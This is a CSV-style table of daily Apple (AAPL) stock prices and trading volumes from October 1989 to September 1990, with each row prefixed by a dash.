-1989-10-02,1.5892857313156128,1.5982142686843872,1.5625,1.5848214626312256,1.2820699214935303,34350400.0,AAPL
-1989-10-03,1.5803571939468384,1.5892857313156128,1.5401785373687744,1.5580357313156128,1.2604013681411743,42624400.0,AAPL
-1989-10-04,1.5625,1.59375,1.5535714626312256,1.5803571939468384,1.2784582376480103,39793600.0,AAPL
-1989-10-05,1.5892857313156128,1.6607142686843872,1.5803571939468384,1.625,1.3145729303359985,61320000.0,AAPL
-1989-10-06,1.6517857313156128,1.7232142686843872,1.6428571939468384,1.71875,1.3904132843017578,90426000.0,AAPL
-1989-10-09,1.7142857313156128,1.7767857313156128,1.6964285373687744,1.7678571939468384,1.4301396608352661,48888000.0,AAPL
-1989-10-10,1.7767857313156128,1.7991071939468384,1.7321428060531616,1.7678571939468384,1.4301396608352661,71780800.0,AAPL
-1989-10-11,1.7410714626312256,1.7589285373687744,1.7142857313156128,1.7455357313156128,1.412082552909851,39239200.0,AAPL
-1989-10-12,1.75,1.7589285373687744,1.7321428060531616,1.7410714626312256,1.408470869064331,20661200.0,AAPL
-1989-10-13,1.7410714626312256,1.7678571939468384,1.6071428060531616,1.6339285373687744,1.3217957019805908,50279600.0,AAPL
-1989-10-16,1.5982142686843872,1.6696428060531616,1.5178571939468384,1.6696428060531616,1.350687861442566,106229200.0,AAPL
-1989-10-17,1.6428571939468384,1.7410714626312256,1.6071428060531616,1.6875,1.3651340007781982,62510000.0,AAPL
-1989-10-18,1.6607142686843872,1.7232142686843872,1.6428571939468384,1.7232142686843872,1.394025444984436,36008000.0,AAPL
-1989-10-19,1.7232142686843872,1.7678571939468384,1.7232142686843872,1.7410714626312256,1.408470869064331,27974800.0,AAPL
-1989-10-20,1.7053571939468384,1.7589285373687744,1.6964285373687744,1.7142857313156128,1.386802077293396,65377200.0,AAPL
-1989-10-23,1.7142857313156128,1.7232142686843872,1.6517857313156128,1.6696428060531616,1.350687861442566,30489200.0,AAPL
-1989-10-24,1.6517857313156128,1.7321428060531616,1.6160714626312256,1.7008928060531616,1.3759675025939941,54110000.0,AAPL
-1989-10-25,1.7053571939468384,1.7053571939468384,1.6517857313156128,1.6607142686843872,1.343464970588684,29786400.0,AAPL
-1989-10-26,1.625,1.6607142686843872,1.6071428060531616,1.6160714626312256,1.3073501586914062,42316400.0,AAPL
-1989-10-27,1.6160714626312256,1.6339285373687744,1.5892857313156128,1.6160714626312256,1.3073501586914062,32354000.0,AAPL
-1989-10-30,1.625,1.6428571939468384,1.6071428060531616,1.6339285373687744,1.3217957019805908,21744800.0,AAPL
-1989-10-31,1.6339285373687744,1.6607142686843872,1.625,1.6607142686843872,1.343464970588684,22999200.0,AAPL
-1989-11-01,1.6517857313156128,1.6696428060531616,1.6339285373687744,1.6473214626312256,1.3326301574707031,15296400.0,AAPL
-1989-11-02,1.6071428060531616,1.6071428060531616,1.5357142686843872,1.5714285373687744,1.271235466003418,113167600.0,AAPL
-1989-11-03,1.5714285373687744,1.5892857313156128,1.5446428060531616,1.5446428060531616,1.2495663166046143,43663200.0,AAPL
-1989-11-06,1.5535714626312256,1.5714285373687744,1.5357142686843872,1.5446428060531616,1.2495663166046143,30772000.0,AAPL
-1989-11-07,1.5446428060531616,1.5892857313156128,1.5446428060531616,1.5714285373687744,1.271235466003418,37830800.0,AAPL
-1989-11-08,1.5803571939468384,1.6160714626312256,1.5803571939468384,1.6071428060531616,1.3001272678375244,35658000.0,AAPL
-1989-11-09,1.6071428060531616,1.6428571939468384,1.5892857313156128,1.6428571939468384,1.3290187120437622,22047200.0,AAPL
-1989-11-10,1.6339285373687744,1.6785714626312256,1.6339285373687744,1.6696428060531616,1.350687861442566,16214800.0,AAPL
-1989-11-13,1.6607142686843872,1.6875,1.6607142686843872,1.6607142686843872,1.343464970588684,17004400.0,AAPL
-1989-11-14,1.6607142686843872,1.6696428060531616,1.5892857313156128,1.5982142686843872,1.2929041385650635,21095200.0,AAPL
-1989-11-15,1.6071428060531616,1.6160714626312256,1.5714285373687744,1.5803571939468384,1.2784582376480103,24446800.0,AAPL
-1989-11-16,1.5892857313156128,1.5982142686843872,1.5625,1.5982142686843872,1.2929041385650635,24141600.0,AAPL
-1989-11-17,1.5892857313156128,1.6160714626312256,1.5892857313156128,1.5982142686843872,1.2960911989212036,22139600.0,AAPL
-1989-11-20,1.6071428060531616,1.625,1.5892857313156128,1.6160714626312256,1.3105727434158325,27017200.0,AAPL
-1989-11-21,1.6160714626312256,1.6607142686843872,1.6160714626312256,1.6160714626312256,1.3105727434158325,35061600.0,AAPL
-1989-11-22,1.625,1.6339285373687744,1.5892857313156128,1.5982142686843872,1.2960911989212036,24486000.0,AAPL
-1989-11-24,1.5982142686843872,1.6071428060531616,1.5982142686843872,1.5982142686843872,1.2960911989212036,6963600.0,AAPL
-1989-11-27,1.5982142686843872,1.6160714626312256,1.5625,1.5714285373687744,1.274369239807129,26286400.0,AAPL
-1989-11-28,1.5625,1.5803571939468384,1.5267857313156128,1.5758928060531616,1.277989387512207,33843600.0,AAPL
-1989-11-29,1.5535714626312256,1.5803571939468384,1.5178571939468384,1.5714285373687744,1.274369239807129,38236800.0,AAPL
-1989-11-30,1.5625,1.5892857313156128,1.5535714626312256,1.5803571939468384,1.2816095352172852,15862000.0,AAPL
-1989-12-01,1.5892857313156128,1.6071428060531616,1.5580357313156128,1.5714285373687744,1.274369239807129,36556800.0,AAPL
-1989-12-04,1.5625,1.625,1.5625,1.6160714626312256,1.3105727434158325,24340400.0,AAPL
-1989-12-05,1.6160714626312256,1.6339285373687744,1.5892857313156128,1.6071428060531616,1.303331971168518,30441600.0,AAPL
-1989-12-06,1.6071428060531616,1.6160714626312256,1.4642857313156128,1.5267857313156128,1.2381654977798462,83745200.0,AAPL
-1989-12-07,1.5089285373687744,1.5446428060531616,1.5,1.5267857313156128,1.2381654977798462,44604000.0,AAPL
-1989-12-08,1.5178571939468384,1.5357142686843872,1.4732142686843872,1.4910714626312256,1.2092024087905884,63145600.0,AAPL
-1989-12-11,1.4642857313156128,1.4821428060531616,1.3705357313156128,1.4017857313156128,1.1367950439453125,162503600.0,AAPL
-1989-12-12,1.4017857313156128,1.4107142686843872,1.25,1.2857142686843872,1.0426658391952515,256354000.0,AAPL
-1989-12-13,1.2857142686843872,1.3035714626312256,1.2678571939468384,1.2857142686843872,1.0426658391952515,97440000.0,AAPL
-1989-12-14,1.2767857313156128,1.2901785373687744,1.2321428060531616,1.2455357313156128,1.0100826025009155,76188000.0,AAPL
-1989-12-15,1.2410714626312256,1.25,1.1607142686843872,1.2053571939468384,0.9774990081787109,129542000.0,AAPL
-1989-12-18,1.2053571939468384,1.25,1.2053571939468384,1.2410714626312256,1.0064618587493896,76801200.0,AAPL
-1989-12-19,1.2321428060531616,1.2678571939468384,1.2321428060531616,1.25,1.0137027502059937,62798400.0,AAPL
-1989-12-20,1.2767857313156128,1.2946428060531616,1.2589285373687744,1.2767857313156128,1.0354247093200684,44497600.0,AAPL
-1989-12-21,1.2767857313156128,1.2946428060531616,1.2678571939468384,1.2946428060531616,1.0499060153961182,76202000.0,AAPL
-1989-12-22,1.2946428060531616,1.3303571939468384,1.2857142686843872,1.3035714626312256,1.0571471452713013,46146800.0,AAPL
-1989-12-26,1.3125,1.3125,1.2589285373687744,1.2678571939468384,1.0281845331192017,33821200.0,AAPL
-1989-12-27,1.2678571939468384,1.2767857313156128,1.25,1.2544642686843872,1.0173230171203613,64251600.0,AAPL
-1989-12-28,1.25,1.2589285373687744,1.2232142686843872,1.2366071939468384,1.0028414726257324,37814000.0,AAPL
-1989-12-29,1.2410714626312256,1.2767857313156128,1.2276785373687744,1.2589285373687744,1.0209436416625977,38102400.0,AAPL
-1990-01-02,1.2589285373687744,1.3392857313156128,1.25,1.3303571939468384,1.0788694620132446,45799600.0,AAPL
-1990-01-03,1.3571428060531616,1.3571428060531616,1.3392857313156128,1.3392857313156128,1.0861105918884277,51998800.0,AAPL
-1990-01-04,1.3660714626312256,1.3839285373687744,1.3303571939468384,1.34375,1.0897300243377686,55378400.0,AAPL
-1990-01-05,1.3482142686843872,1.3660714626312256,1.3214285373687744,1.3482142686843872,1.0933504104614258,30828000.0,AAPL
-1990-01-08,1.3392857313156128,1.3571428060531616,1.3214285373687744,1.3571428060531616,1.1005914211273193,25393200.0,AAPL
-1990-01-09,1.3571428060531616,1.3571428060531616,1.3214285373687744,1.34375,1.0897300243377686,21534800.0,AAPL
-1990-01-10,1.34375,1.34375,1.2767857313156128,1.2857142686843872,1.0426658391952515,49929600.0,AAPL
-1990-01-11,1.2946428060531616,1.2946428060531616,1.2321428060531616,1.2321428060531616,0.9992210268974304,52763200.0,AAPL
-1990-01-12,1.2232142686843872,1.2410714626312256,1.2053571939468384,1.2321428060531616,0.9992210268974304,42974400.0,AAPL
-1990-01-15,1.2321428060531616,1.2767857313156128,1.2232142686843872,1.2232142686843872,0.9919803738594055,40434800.0,AAPL
-1990-01-16,1.1964285373687744,1.25,1.1696428060531616,1.2455357313156128,1.0100826025009155,53561200.0,AAPL
-1990-01-17,1.2410714626312256,1.2410714626312256,1.1785714626312256,1.1875,0.9630177617073059,49324800.0,AAPL
-1990-01-18,1.1785714626312256,1.1964285373687744,1.1517857313156128,1.15625,0.9376749992370605,68322800.0,AAPL
-1990-01-19,1.2053571939468384,1.2321428060531616,1.1964285373687744,1.2232142686843872,0.9919803738594055,66284400.0,AAPL
-1990-01-22,1.2142857313156128,1.2321428060531616,1.1875,1.1875,0.9630177617073059,36402800.0,AAPL
-1990-01-23,1.2053571939468384,1.2232142686843872,1.1785714626312256,1.2053571939468384,0.9774990081787109,35218400.0,AAPL
-1990-01-24,1.1607142686843872,1.2232142686843872,1.1517857313156128,1.2142857313156128,0.9847397208213806,42448000.0,AAPL
-1990-01-25,1.2232142686843872,1.2410714626312256,1.2142857313156128,1.21875,0.9883600473403931,27885200.0,AAPL
-1990-01-26,1.2142857313156128,1.2142857313156128,1.1517857313156128,1.1696428060531616,0.9485364556312561,45312400.0,AAPL
-1990-01-29,1.1785714626312256,1.1964285373687744,1.1473214626312256,1.1875,0.9630177617073059,29982400.0,AAPL
-1990-01-30,1.1875,1.2321428060531616,1.1785714626312256,1.2142857313156128,0.9847397208213806,29111600.0,AAPL
-1990-01-31,1.2321428060531616,1.2410714626312256,1.1785714626312256,1.2142857313156128,0.9847397208213806,35985600.0,AAPL
-1990-02-01,1.2321428060531616,1.2366071939468384,1.1964285373687744,1.2008928060531616,0.9738784432411194,29268400.0,AAPL
-1990-02-02,1.1875,1.2410714626312256,1.1875,1.2232142686843872,0.9919803738594055,29618400.0,AAPL
-1990-02-05,1.2232142686843872,1.2589285373687744,1.2142857313156128,1.25,1.0137027502059937,25438000.0,AAPL
-1990-02-06,1.2410714626312256,1.25,1.2142857313156128,1.2410714626312256,1.0064618587493896,18480000.0,AAPL
-1990-02-07,1.1785714626312256,1.2142857313156128,1.1607142686843872,1.1875,0.9630177617073059,78111600.0,AAPL
-1990-02-08,1.1875,1.1964285373687744,1.1517857313156128,1.1785714626312256,0.9557765126228333,46659200.0,AAPL
-1990-02-09,1.1964285373687744,1.2321428060531616,1.1875,1.2232142686843872,0.9919803738594055,42019600.0,AAPL
-1990-02-12,1.2232142686843872,1.2321428060531616,1.2053571939468384,1.2142857313156128,0.9847397208213806,18729200.0,AAPL
-1990-02-13,1.2142857313156128,1.25,1.2053571939468384,1.2321428060531616,0.9992210268974304,25541600.0,AAPL
-1990-02-14,1.2321428060531616,1.2410714626312256,1.2053571939468384,1.2232142686843872,0.9919803738594055,24015600.0,AAPL
-1990-02-15,1.2053571939468384,1.2232142686843872,1.1964285373687744,1.2232142686843872,0.9919803738594055,24491600.0,AAPL
-1990-02-16,1.2232142686843872,1.2321428060531616,1.2053571939468384,1.2053571939468384,0.9806497693061829,31802400.0,AAPL
-1990-02-20,1.1964285373687744,1.2053571939468384,1.1785714626312256,1.1964285373687744,0.9733853936195374,30811200.0,AAPL
-1990-02-21,1.1696428060531616,1.2232142686843872,1.1607142686843872,1.2142857313156128,0.9879137873649597,43976800.0,AAPL
-1990-02-22,1.2142857313156128,1.2321428060531616,1.1785714626312256,1.1785714626312256,0.9588572382926941,48795600.0,AAPL
-1990-02-23,1.1696428060531616,1.1964285373687744,1.1696428060531616,1.1875,0.9661218523979187,37489200.0,AAPL
-1990-02-26,1.1785714626312256,1.2232142686843872,1.1785714626312256,1.2142857313156128,0.9879137873649597,19902400.0,AAPL
-1990-02-27,1.2142857313156128,1.2232142686843872,1.1964285373687744,1.1964285373687744,0.9733853936195374,18488400.0,AAPL
-1990-02-28,1.1964285373687744,1.2142857313156128,1.1875,1.2142857313156128,0.9879137873649597,27333600.0,AAPL
-1990-03-01,1.1964285373687744,1.2410714626312256,1.1875,1.2232142686843872,0.9951777458190918,50974000.0,AAPL
-1990-03-02,1.1964285373687744,1.2410714626312256,1.1875,1.2053571939468384,0.9806497693061829,26224800.0,AAPL
-1990-03-05,1.1964285373687744,1.2410714626312256,1.1964285373687744,1.2321428060531616,1.002441644668579,45617600.0,AAPL
-1990-03-06,1.25,1.2589285373687744,1.2321428060531616,1.2589285373687744,1.024234414100647,39004000.0,AAPL
-1990-03-07,1.25,1.2857142686843872,1.25,1.2633928060531616,1.027866005897522,51055200.0,AAPL
-1990-03-08,1.2767857313156128,1.3214285373687744,1.25,1.3125,1.067818522453308,55960800.0,AAPL
-1990-03-09,1.3125,1.3392857313156128,1.2946428060531616,1.3169642686843872,1.0714505910873413,57618400.0,AAPL
-1990-03-12,1.3303571939468384,1.3392857313156128,1.2946428060531616,1.3080357313156128,1.064186453819275,40989200.0,AAPL
-1990-03-13,1.3035714626312256,1.3303571939468384,1.2946428060531616,1.3169642686843872,1.0714505910873413,37144800.0,AAPL
-1990-03-14,1.3125,1.3303571939468384,1.3035714626312256,1.3214285373687744,1.0750826597213745,25446400.0,AAPL
-1990-03-15,1.3035714626312256,1.3571428060531616,1.3035714626312256,1.3125,1.067818522453308,30058000.0,AAPL
-1990-03-16,1.4285714626312256,1.4553571939468384,1.3973214626312256,1.4375,1.1695154905319214,161190400.0,AAPL
-1990-03-19,1.4464285373687744,1.5178571939468384,1.4285714626312256,1.5133928060531616,1.2312604188919067,107948400.0,AAPL
-1990-03-20,1.5089285373687744,1.5357142686843872,1.4553571939468384,1.4776785373687744,1.2022039890289307,97829200.0,AAPL
-1990-03-21,1.4732142686843872,1.5089285373687744,1.4732142686843872,1.4866071939468384,1.2094680070877075,38183600.0,AAPL
-1990-03-22,1.4910714626312256,1.5089285373687744,1.4553571939468384,1.4553571939468384,1.1840438842773438,57915200.0,AAPL
-1990-03-23,1.4732142686843872,1.5357142686843872,1.4642857313156128,1.5089285373687744,1.2276281118392944,56996800.0,AAPL
-1990-03-26,1.5178571939468384,1.5491071939468384,1.5,1.5089285373687744,1.2276281118392944,32015200.0,AAPL
-1990-03-27,1.5,1.5089285373687744,1.4732142686843872,1.5,1.220363974571228,21151200.0,AAPL
-1990-03-28,1.5,1.5044642686843872,1.4642857313156128,1.4732142686843872,1.1985716819763184,25734800.0,AAPL
-1990-03-29,1.4642857313156128,1.4821428060531616,1.4553571939468384,1.46875,1.1949394941329956,24222800.0,AAPL
-1990-03-30,1.4285714626312256,1.4642857313156128,1.4285714626312256,1.4375,1.1695154905319214,55837600.0,AAPL
-1990-04-02,1.4285714626312256,1.4508928060531616,1.4107142686843872,1.4375,1.1695154905319214,37192400.0,AAPL
-1990-04-03,1.4464285373687744,1.4910714626312256,1.4464285373687744,1.4910714626312256,1.2130998373031616,34927200.0,AAPL
-1990-04-04,1.4821428060531616,1.5,1.4553571939468384,1.4732142686843872,1.1985716819763184,37433200.0,AAPL
-1990-04-05,1.4642857313156128,1.4732142686843872,1.4285714626312256,1.4375,1.1695154905319214,27048000.0,AAPL
-1990-04-06,1.4375,1.4732142686843872,1.4196428060531616,1.4241071939468384,1.1586191654205322,29559600.0,AAPL
-1990-04-09,1.4196428060531616,1.4821428060531616,1.4107142686843872,1.46875,1.1949394941329956,26370400.0,AAPL
-1990-04-10,1.4732142686843872,1.5,1.4642857313156128,1.4732142686843872,1.1985716819763184,32830000.0,AAPL
-1990-04-11,1.4821428060531616,1.5357142686843872,1.4821428060531616,1.5178571939468384,1.2348923683166504,53289600.0,AAPL
-1990-04-12,1.5357142686843872,1.5714285373687744,1.5178571939468384,1.5446428060531616,1.2566843032836914,52950800.0,AAPL
-1990-04-16,1.5535714626312256,1.5803571939468384,1.5446428060531616,1.5625,1.2712124586105347,56722400.0,AAPL
-1990-04-17,1.5446428060531616,1.5535714626312256,1.5267857313156128,1.5446428060531616,1.2566843032836914,32776800.0,AAPL
-1990-04-18,1.5446428060531616,1.5625,1.5178571939468384,1.5446428060531616,1.2566843032836914,48361600.0,AAPL
-1990-04-19,1.4910714626312256,1.5401785373687744,1.4285714626312256,1.4375,1.1695154905319214,120369200.0,AAPL
-1990-04-20,1.4598214626312256,1.4821428060531616,1.4196428060531616,1.4375,1.1695154905319214,80880800.0,AAPL
-1990-04-23,1.4375,1.4464285373687744,1.4107142686843872,1.4196428060531616,1.1549875736236572,32088000.0,AAPL
-1990-04-24,1.4285714626312256,1.4464285373687744,1.375,1.3839285373687744,1.125930905342102,75933200.0,AAPL
-1990-04-25,1.3839285373687744,1.3928571939468384,1.3660714626312256,1.3839285373687744,1.125930905342102,33143600.0,AAPL
-1990-04-26,1.3928571939468384,1.4107142686843872,1.3616071939468384,1.3883928060531616,1.1295626163482666,35540400.0,AAPL
-1990-04-27,1.3928571939468384,1.4107142686843872,1.3839285373687744,1.3973214626312256,1.1368271112442017,29103200.0,AAPL
-1990-04-30,1.4017857313156128,1.4196428060531616,1.3928571939468384,1.40625,1.1440911293029785,34098400.0,AAPL
-1990-05-01,1.4196428060531616,1.4285714626312256,1.40625,1.4151785373687744,1.1513557434082031,40902400.0,AAPL
-1990-05-02,1.4196428060531616,1.4285714626312256,1.4017857313156128,1.4196428060531616,1.1549875736236572,33857600.0,AAPL
-1990-05-03,1.4196428060531616,1.4375,1.4196428060531616,1.4285714626312256,1.162251353263855,41577200.0,AAPL
-1990-05-04,1.4285714626312256,1.4553571939468384,1.4017857313156128,1.4285714626312256,1.162251353263855,42383600.0,AAPL
-1990-05-07,1.4196428060531616,1.4910714626312256,1.4196428060531616,1.4821428060531616,1.2058359384536743,33997600.0,AAPL
-1990-05-08,1.4642857313156128,1.5,1.4642857313156128,1.4910714626312256,1.2130998373031616,28114800.0,AAPL
-1990-05-09,1.4866071939468384,1.5,1.4732142686843872,1.4955357313156128,1.216732144355774,24309600.0,AAPL
-1990-05-10,1.4910714626312256,1.4910714626312256,1.4464285373687744,1.4776785373687744,1.2022039890289307,44760800.0,AAPL
-1990-05-11,1.4776785373687744,1.5267857313156128,1.4553571939468384,1.5223214626312256,1.2385241985321045,53810400.0,AAPL
-1990-05-14,1.5267857313156128,1.5267857313156128,1.4732142686843872,1.4910714626312256,1.2130998373031616,56596400.0,AAPL
-1990-05-15,1.4776785373687744,1.5,1.4642857313156128,1.4910714626312256,1.2130998373031616,37346400.0,AAPL
-1990-05-16,1.4910714626312256,1.4910714626312256,1.4642857313156128,1.4866071939468384,1.2094680070877075,21826000.0,AAPL
-1990-05-17,1.4910714626312256,1.5089285373687744,1.4642857313156128,1.4821428060531616,1.2058359384536743,38396400.0,AAPL
-1990-05-18,1.4732142686843872,1.4821428060531616,1.4107142686843872,1.4196428060531616,1.1549875736236572,64615600.0,AAPL
-1990-05-21,1.4107142686843872,1.4285714626312256,1.3839285373687744,1.4107142686843872,1.150909185409546,65620800.0,AAPL
-1990-05-22,1.4330357313156128,1.4821428060531616,1.4285714626312256,1.4776785373687744,1.2055411338806152,75272400.0,AAPL
-1990-05-23,1.4732142686843872,1.5178571939468384,1.4732142686843872,1.5,1.2237516641616821,51878400.0,AAPL
-1990-05-24,1.5089285373687744,1.5089285373687744,1.4821428060531616,1.5,1.2237516641616821,37032800.0,AAPL
-1990-05-25,1.4107142686843872,1.4553571939468384,1.3928571939468384,1.4285714626312256,1.1654785871505737,80830400.0,AAPL
-1990-05-29,1.4285714626312256,1.4732142686843872,1.4017857313156128,1.4642857313156128,1.1946152448654175,60802000.0,AAPL
-1990-05-30,1.4866071939468384,1.4910714626312256,1.4732142686843872,1.4776785373687744,1.2055411338806152,69204800.0,AAPL
-1990-05-31,1.4821428060531616,1.4821428060531616,1.4642857313156128,1.4732142686843872,1.2018988132476807,25771200.0,AAPL
-1990-06-01,1.4776785373687744,1.5,1.4553571939468384,1.4553571939468384,1.187330722808838,39309200.0,AAPL
-1990-06-04,1.4553571939468384,1.4642857313156128,1.4196428060531616,1.4553571939468384,1.187330722808838,44856000.0,AAPL
-1990-06-05,1.4642857313156128,1.4642857313156128,1.3928571939468384,1.4107142686843872,1.150909185409546,74858000.0,AAPL
-1990-06-06,1.3928571939468384,1.4107142686843872,1.3839285373687744,1.4107142686843872,1.150909185409546,52936800.0,AAPL
-1990-06-07,1.4107142686843872,1.4196428060531616,1.375,1.3928571939468384,1.1363410949707031,46608800.0,AAPL
-1990-06-08,1.375,1.375,1.3392857313156128,1.3660714626312256,1.1144884824752808,83470800.0,AAPL
-1990-06-11,1.3482142686843872,1.3928571939468384,1.3482142686843872,1.3928571939468384,1.1363410949707031,39474400.0,AAPL
-1990-06-12,1.3973214626312256,1.4464285373687744,1.3839285373687744,1.4464285373687744,1.1800464391708374,41258000.0,AAPL
-1990-06-13,1.4419642686843872,1.4553571939468384,1.4196428060531616,1.4196428060531616,1.1581933498382568,34736800.0,AAPL
-1990-06-14,1.4285714626312256,1.4375,1.4017857313156128,1.4196428060531616,1.1581933498382568,35081200.0,AAPL
-1990-06-15,1.4196428060531616,1.4285714626312256,1.3973214626312256,1.4107142686843872,1.150909185409546,36036000.0,AAPL
-1990-06-18,1.4017857313156128,1.4107142686843872,1.3928571939468384,1.4017857313156128,1.1436251401901245,27848800.0,AAPL
-1990-06-19,1.3928571939468384,1.4196428060531616,1.3705357313156128,1.4151785373687744,1.15455162525177,39306400.0,AAPL
-1990-06-20,1.4241071939468384,1.4375,1.4196428060531616,1.4285714626312256,1.1654785871505737,38684800.0,AAPL
-1990-06-21,1.4285714626312256,1.5,1.4285714626312256,1.4955357313156128,1.2201101779937744,52150000.0,AAPL
-1990-06-22,1.5,1.5223214626312256,1.4732142686843872,1.4821428060531616,1.2091833353042603,70994000.0,AAPL
-1990-06-25,1.4821428060531616,1.4910714626312256,1.4375,1.4732142686843872,1.2018988132476807,30500400.0,AAPL
-1990-06-26,1.4910714626312256,1.5,1.4419642686843872,1.4508928060531616,1.1836885213851929,31813600.0,AAPL
-1990-06-27,1.4553571939468384,1.5,1.4375,1.4821428060531616,1.2091833353042603,24306800.0,AAPL
-1990-06-28,1.5267857313156128,1.5446428060531616,1.4910714626312256,1.5357142686843872,1.252888560295105,62484800.0,AAPL
-1990-06-29,1.5357142686843872,1.6026785373687744,1.5267857313156128,1.5982142686843872,1.3038784265518188,81298000.0,AAPL
-1990-07-02,1.5892857313156128,1.5892857313156128,1.5625,1.5714285373687744,1.2820254564285278,33852000.0,AAPL
-1990-07-03,1.5669642686843872,1.5892857313156128,1.5625,1.5714285373687744,1.2820254564285278,24875200.0,AAPL
-1990-07-05,1.5625,1.5803571939468384,1.5446428060531616,1.5535714626312256,1.2674572467803955,26866000.0,AAPL
-1990-07-06,1.5535714626312256,1.6071428060531616,1.5446428060531616,1.5982142686843872,1.3038784265518188,52264800.0,AAPL
-1990-07-09,1.6071428060531616,1.6785714626312256,1.5982142686843872,1.6651785373687744,1.3585102558135986,78864800.0,AAPL
-1990-07-10,1.6785714626312256,1.6964285373687744,1.6696428060531616,1.6785714626312256,1.3694363832473755,90356000.0,AAPL
-1990-07-11,1.6696428060531616,1.6785714626312256,1.6339285373687744,1.6785714626312256,1.3694363832473755,61538400.0,AAPL
-1990-07-12,1.6696428060531616,1.6964285373687744,1.6607142686843872,1.6919642686843872,1.3803633451461792,45617600.0,AAPL
-1990-07-13,1.6964285373687744,1.7053571939468384,1.6696428060531616,1.6696428060531616,1.362151861190796,57744400.0,AAPL
-1990-07-16,1.6696428060531616,1.6830357313156128,1.6160714626312256,1.6294642686843872,1.3293732404708862,44926000.0,AAPL
-1990-07-17,1.6339285373687744,1.6428571939468384,1.5714285373687744,1.5803571939468384,1.2893098592758179,34213200.0,AAPL
-1990-07-18,1.5892857313156128,1.6071428060531616,1.5357142686843872,1.59375,1.3002359867095947,72091600.0,AAPL
-1990-07-19,1.4553571939468384,1.5178571939468384,1.4285714626312256,1.4910714626312256,1.2164674997329712,146496000.0,AAPL
-1990-07-20,1.5,1.5178571939468384,1.4553571939468384,1.4642857313156128,1.1946152448654175,47961200.0,AAPL
-1990-07-23,1.4642857313156128,1.4910714626312256,1.4285714626312256,1.4821428060531616,1.2091833353042603,67547200.0,AAPL
-1990-07-24,1.5,1.5089285373687744,1.4642857313156128,1.5044642686843872,1.2273938655853271,48479200.0,AAPL
-1990-07-25,1.5,1.5446428060531616,1.4910714626312256,1.5089285373687744,1.231035828590393,26230400.0,AAPL
-1990-07-26,1.5089285373687744,1.5178571939468384,1.4642857313156128,1.4776785373687744,1.2055411338806152,20084400.0,AAPL
-1990-07-27,1.4732142686843872,1.4910714626312256,1.4464285373687744,1.4776785373687744,1.2055411338806152,15579200.0,AAPL
-1990-07-30,1.4553571939468384,1.5178571939468384,1.4553571939468384,1.5133928060531616,1.2346785068511963,21364000.0,AAPL
-1990-07-31,1.5178571939468384,1.5267857313156128,1.4821428060531616,1.5,1.2237516641616821,24001600.0,AAPL
-1990-08-01,1.5,1.5267857313156128,1.4821428060531616,1.5133928060531616,1.2346785068511963,23377200.0,AAPL
-1990-08-02,1.4732142686843872,1.5625,1.4732142686843872,1.5535714626312256,1.2674572467803955,55781600.0,AAPL
-1990-08-03,1.5535714626312256,1.5625,1.4196428060531616,1.4732142686843872,1.2018988132476807,67242000.0,AAPL
-1990-08-06,1.3928571939468384,1.4464285373687744,1.375,1.4107142686843872,1.150909185409546,44914800.0,AAPL
-1990-08-07,1.4375,1.4508928060531616,1.3839285373687744,1.4107142686843872,1.150909185409546,49632800.0,AAPL
-1990-08-08,1.4107142686843872,1.4553571939468384,1.4107142686843872,1.4330357313156128,1.169120192527771,25634000.0,AAPL
-1990-08-09,1.4375,1.4464285373687744,1.4017857313156128,1.4107142686843872,1.150909185409546,24096800.0,AAPL
-1990-08-10,1.3839285373687744,1.4017857313156128,1.3660714626312256,1.3839285373687744,1.1290569305419922,25676000.0,AAPL
-1990-08-13,1.3571428060531616,1.4285714626312256,1.3526785373687744,1.4241071939468384,1.1618359088897705,39029200.0,AAPL
-1990-08-14,1.4285714626312256,1.4285714626312256,1.4017857313156128,1.4196428060531616,1.1581933498382568,24542000.0,AAPL
-1990-08-15,1.4285714626312256,1.4375,1.4017857313156128,1.4017857313156128,1.1436251401901245,23013200.0,AAPL
-1990-08-16,1.3928571939468384,1.4151785373687744,1.375,1.375,1.121772289276123,30973600.0,AAPL
-1990-08-17,1.375,1.375,1.2767857313156128,1.3035714626312256,1.063498854637146,61527200.0,AAPL
-1990-08-20,1.3035714626312256,1.3392857313156128,1.2946428060531616,1.3125,1.0740206241607666,18765600.0,AAPL
-1990-08-21,1.2767857313156128,1.3125,1.2589285373687744,1.2946428060531616,1.0594080686569214,40261200.0,AAPL
-1990-08-22,1.3214285373687744,1.3214285373687744,1.2455357313156128,1.2544642686843872,1.0265297889709473,30679600.0,AAPL
-1990-08-23,1.2232142686843872,1.25,1.1964285373687744,1.2321428060531616,1.0082643032073975,35924000.0,AAPL
-1990-08-24,1.2589285373687744,1.2857142686843872,1.2410714626312256,1.2678571939468384,1.037489652633667,18354000.0,AAPL
-1990-08-27,1.3125,1.3571428060531616,1.2946428060531616,1.3482142686843872,1.1032459735870361,29366400.0,AAPL
-1990-08-28,1.3392857313156128,1.3705357313156128,1.3303571939468384,1.3616071939468384,1.1142053604125977,20048000.0,AAPL
-1990-08-29,1.3571428060531616,1.3616071939468384,1.3125,1.3303571939468384,1.0886335372924805,37732800.0,AAPL
-1990-08-30,1.3303571939468384,1.3392857313156128,1.2857142686843872,1.2946428060531616,1.0594080686569214,30648800.0,AAPL
-1990-08-31,1.2857142686843872,1.3303571939468384,1.2857142686843872,1.3214285373687744,1.081326961517334,24864000.0,AAPL
-1990-09-04,1.3035714626312256,1.3392857313156128,1.3035714626312256,1.3214285373687744,1.081326961517334,20686400.0,AAPL
-1990-09-05,1.3303571939468384,1.3303571939468384,1.2767857313156128,1.2857142686843872,1.0521018505096436,16013200.0,AAPL
-1990-09-06,1.2678571939468384,1.2857142686843872,1.2589285373687744,1.2767857313156128,1.0447959899902344,21907200.0,AAPL
-1990-09-07,1.2678571939468384,1.3125,1.2544642686843872,1.2991071939468384,1.0630614757537842,14543200.0,AAPL
-1990-09-10,1.3214285373687744,1.3214285373687744,1.2767857313156128,1.2767857313156128,1.0447959899902344,18995200.0,AAPL
-1990-09-11,1.2857142686843872,1.2901785373687744,1.2053571939468384,1.2142857313156128,0.9936520457267761,44567600.0,AAPL
-1990-09-12,1.2321428060531616,1.2321428060531616,1.1964285373687744,1.2142857313156128,0.9936520457267761,25102000.0,AAPL
-1990-09-13,1.2321428060531616,1.2410714626312256,1.1785714626312256,1.2053571939468384,0.9863457679748535,24315200.0,AAPL
-1990-09-14,1.1964285373687744,1.2232142686843872,1.1875,1.2142857313156128,0.9936520457267761,28478800.0,AAPL
-1990-09-17,1.2142857313156128,1.2589285373687744,1.1964285373687744,1.2053571939468384,0.9863457679748535,19418000.0,AAPL
